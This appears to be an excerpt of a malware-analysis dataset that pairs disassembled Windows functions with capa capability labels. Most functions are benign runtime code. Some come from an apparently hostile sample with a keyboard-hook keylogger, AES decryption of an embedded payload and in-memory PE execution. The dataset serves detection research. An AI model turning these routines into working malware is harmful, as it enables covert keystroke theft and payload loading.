joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140054360
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14006a040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.1400558d4
mov qword [rax], rbx
mov qword [rsp + 0x30], rax
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400554b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1400543d9
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400554f0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400560f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140056142
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140056142
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140056142
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140056142
cmp dword [rcx + 0x84], 0xe
jbe 0x140056142
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140056144
xor al, al
add rsp, 0x28
ret

Function at 0x100411ce0
Capabilities:
Encode data using xor

Disassembly:
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
xor dword [rcx], esi
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004067c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004067d0]
mov dword [rax], 1
mov rax, qword [0x004067e0]
mov dword [rax], 1
mov rax, qword [0x004067b0]
mov dword [rax], 1
mov rax, qword [0x004066a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004067a0]
mov dword [0x00409008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00406760]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00406650]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401550
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 8], edx
mov qword [rbp], r8
mov dword [rbp + 8], r9d
lea rax, [rbp - 0x38]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
je 0x4016ad
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x800e
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
je 0x4016ad
mov rax, qword [rbp - 0x40]
mov ecx, dword [rbp + 8]
mov rdx, qword [rbp]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
je 0x4016ad
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8, rdx
mov edx, 0x6610
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
je 0x4016ad
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
jne 0x40168b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9d, ebx
lea r8, str.CryptDecrypt
lea rdx, str._____s_failed_with_error:__d_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
jmp 0x4016df
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9d, ebx
lea r8, str.Cryptographic_context_error
lea rdx, str._____s_failed_with_error:__d_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp - 0x38]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
nop
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x4016fc
Capabilities:
Enumerate threads

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov edx, 0
mov ecx, 4
call sym.CreateToolhelp32Snapshot
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
jne 0x401728
mov eax, 0
jmp 0x401798
mov dword [rbp - 0x30], 0x1c
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x10]
mov rdx, rax
call sym.Thread32First
test eax, eax
jne 0x40175a
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401798
mov dword [rbp - 4], 0
mov eax, dword [rbp - 0x24]
cmp dword [rbp + 0x10], eax
jne 0x401771
mov eax, dword [rbp - 0x28]
mov dword [rbp - 4], eax
jmp 0x401785
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x10]
mov rdx, rax
call sym.Thread32Next
test eax, eax
jne 0x401761
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x50
pop rbp
ret

Function at 0x40179e
Capabilities:
Resume thread
Suspend thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x10], 0
jne 0x401857
cmp qword [rbp + 0x18], 0x100
je 0x4017d3
cmp qword [rbp + 0x18], 0x104
jne 0x401857
mov rax, qword [rbp + 0x20]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov dword [rbp - 0xc], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
mov ecx, eax
call sym.GetMainThread
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f03ff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp - 0x20], rax
cmp dword [rbp - 0xc], 0xd
jne 0x401857
mov eax, dword [rbp - 0xc]
mov dword [0x00405010], eax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
mov ecx, 5
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
lea rax, [0x00409970]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov r9, rcx
mov r8, rdx
mov edx, dword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x40
pop rbp
ret
Function at 0x401884
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
mov r9d, 0
mov r8d, 0
lea rdx, [sym.KeyboardProc]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov rdx, rax
lea rax, [0x00409970]
mov qword [rax], rdx
lea rax, [0x00409970]
mov rax, qword [rax]
test rax, rax
jne 0x40192c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9d, ebx
lea r8, str.SetWindowsHookEx
lea rdx, str._____s_failed_with_error:__d_n
mov rcx, rax
call sym.fprintf
mov eax, 1
jmp 0x40196c
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x40190c
lea rax, [0x00409970]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov eax, 0
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x401ea0
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0xc0000005
jne 0x402068
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x28]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rcx, str._n____Access_violation_at_address:__p_n
call sym.printf
cmp dword [rbp - 0x14], 1
je 0x401f12
cmp dword [rbp - 0x14], 0
je 0x401f04
cmp dword [rbp - 0x14], 8
je 0x401f20
jmp 0x401f2e
lea rcx, str.____Violation_Type:_Read_access_violation
call sym.puts
jmp 0x401f40
lea rcx, str.____Violation_Type:_Write_access_violation
call sym.puts
jmp 0x401f40
lea rcx, str.____Violation_Type:_Execute_access_violation
call sym.puts
jmp 0x401f40
mov eax, dword [rbp - 0x14]
mov edx, eax
lea rcx, str.____Unknown_violation_type:__lu_n
call sym.printf
nop
lea rax, [rbp - 0x50]
mov rcx, qword [rbp - 0x10]
mov r8d, 0x30
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
call rax
test rax, rax
je 0x402068
mov rax, qword [rbp - 0x50]
mov rdx, rax
lea rcx, str.____Base_address:__p_n
call sym.printf
mov rax, qword [rbp - 0x38]
mov rdx, rax
lea rcx, str.____Size_of_memory_region:__zu_bytes_n
call sym.printf
cmp dword [rbp - 0x14], 8
jne 0x401fa4
mov dword [rbp - 4], 0x20
lea rcx, str.___Changing_memory_protection_to_PAGE_EXECUTE_READ.
call sym.puts
jmp 0x401fc9
cmp dword [rbp - 0x14], 1
jne 0x401fbf
mov dword [rbp - 4], 4
lea rcx, str.___Changing_memory_protection_to_PAGE_READWRITE.
call sym.puts
jmp 0x401fc9
mov eax, 0
jmp 0x40206d
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x50]
mov r8d, dword [rbp - 4]
lea rcx, [0x00409980]
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x40205c
lea rcx, str.___Memory_protection_changed_successfully.
call sym.puts
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [sym.RevertMemoryProtection]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov rdx, rax
lea rax, [0x00409978]
mov qword [rax], rdx
lea rax, [0x00409978]
mov rax, qword [rax]
test rax, rax
jne 0x402055
lea rcx, str.____Failed_to_create_revert_thread.
call sym.puts
mov eax, 0xffffffff
jmp 0x40206d
lea rcx, str.____Error_changing_memory_protection.
call sym.puts
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x402073
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x402091
cmp qword [rbp + 0x18], 0
jne 0x40209b
mov eax, 0
jmp 0x402149
mov rax, qword [rbp + 0x18]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x4020ba
mov eax, 0
jmp 0x402149
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x18]
add rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rdx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x4020e8
mov eax, 0
jmp 0x402149
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
lea rdx, [rax + 0x18]
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
movzx eax, word [rax + 0x14]
movzx eax, ax
add rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
lea rdx, [rax + 0x90]
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
lea rdx, [rax + 0xb0]
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax + 0x20], rdx
mov eax, 1
add rsp, 0x10
pop rbp
ret

Function at 0x4027bd
Capabilities:
Create thread
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x80]
call sym.__main
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x28]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.DecAES
lea rax, [rbp - 0x28]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov rdx, qword [rbp - 0x28]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.InitializePEHeaders
test eax, eax
jne 0x402864
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x21
mov edx, 1
lea rcx, str.Failed_to_initialize_PE_headers._n
call sym.fwrite
mov eax, 0xffffffff
jmp 0x402917
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.KeyboardThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
test rax, rax
jne 0x4028d3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9d, ebx
lea r8, str.CreateThread
lea rdx, str._____s_failed_with_error:__d_n
mov rcx, rax
call sym.fprintf
mov eax, 0xffffffff
jmp 0x402917
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.ExecutePE
test eax, eax
jne 0x402912
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Failed_to_execute_PE_file._n
call sym.fwrite
mov eax, 0xffffffff
jmp 0x402917
mov eax, 0
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x402e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00409624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402ff8
mov rax, qword [0x00409628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x402ebc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402f45
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402ea0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40302d
mov rax, qword [0x00409628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00409628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x403010
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402f3e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402fa0
add dword [0x00409624], 1
cmp edi, 8
jae 0x402f73
test dil, 4
jne 0x402fe4
test edi, edi
je 0x402f68
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x402fff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402f68
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x402f8c
jmp 0x402f68
add rsi, qword [0x00409628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402f68
xor esi, esi
jmp 0x402ec7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402f68
mov rax, qword [0x00409628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x403780
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00409900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004098e0]
test rbx, rbx
je 0x4037d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4037cb
test rsi, rsi
je 0x4037cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4037b0
lea rcx, [0x00409900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403a10
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x403a20
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x403a30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403a71
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403a68
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403a73
add rax, 0x28
cmp rax, r9
jne 0x403a54
xor eax, eax
ret

Function at 0x403b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004066a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x403b7d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403b7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403b7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403b74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403b7f
add rax, 0x28
cmp rax, r9
jne 0x403b60
xor eax, eax
add rsp, 0x28
ret

Function at 0x403c80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004066a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403ca0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403c98
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403cfd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403cf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403d04
add rax, 0x28
cmp rax, r9
jne 0x403ce0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403d20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004066a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x403d8e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403d8e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x403d8e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x403d8e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403d85
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403d95
add rcx, 0x28
cmp rcx, rax
jne 0x403d70
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403da8
jmp 0x403d8e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403db6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x403d8e
test r9d, r9d
jg 0x403da0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4040f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140004eb0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140004eea
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140004eef
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004f38
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400073d0]
cmp byte [rcx + rax], 0
je 0x140004f38
dec r8
sub rdx, 1
jne 0x140004f1e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000595c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400059a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400059a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400059a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400059a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400059a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400059a8
xor al, al
add rsp, 0x28
ret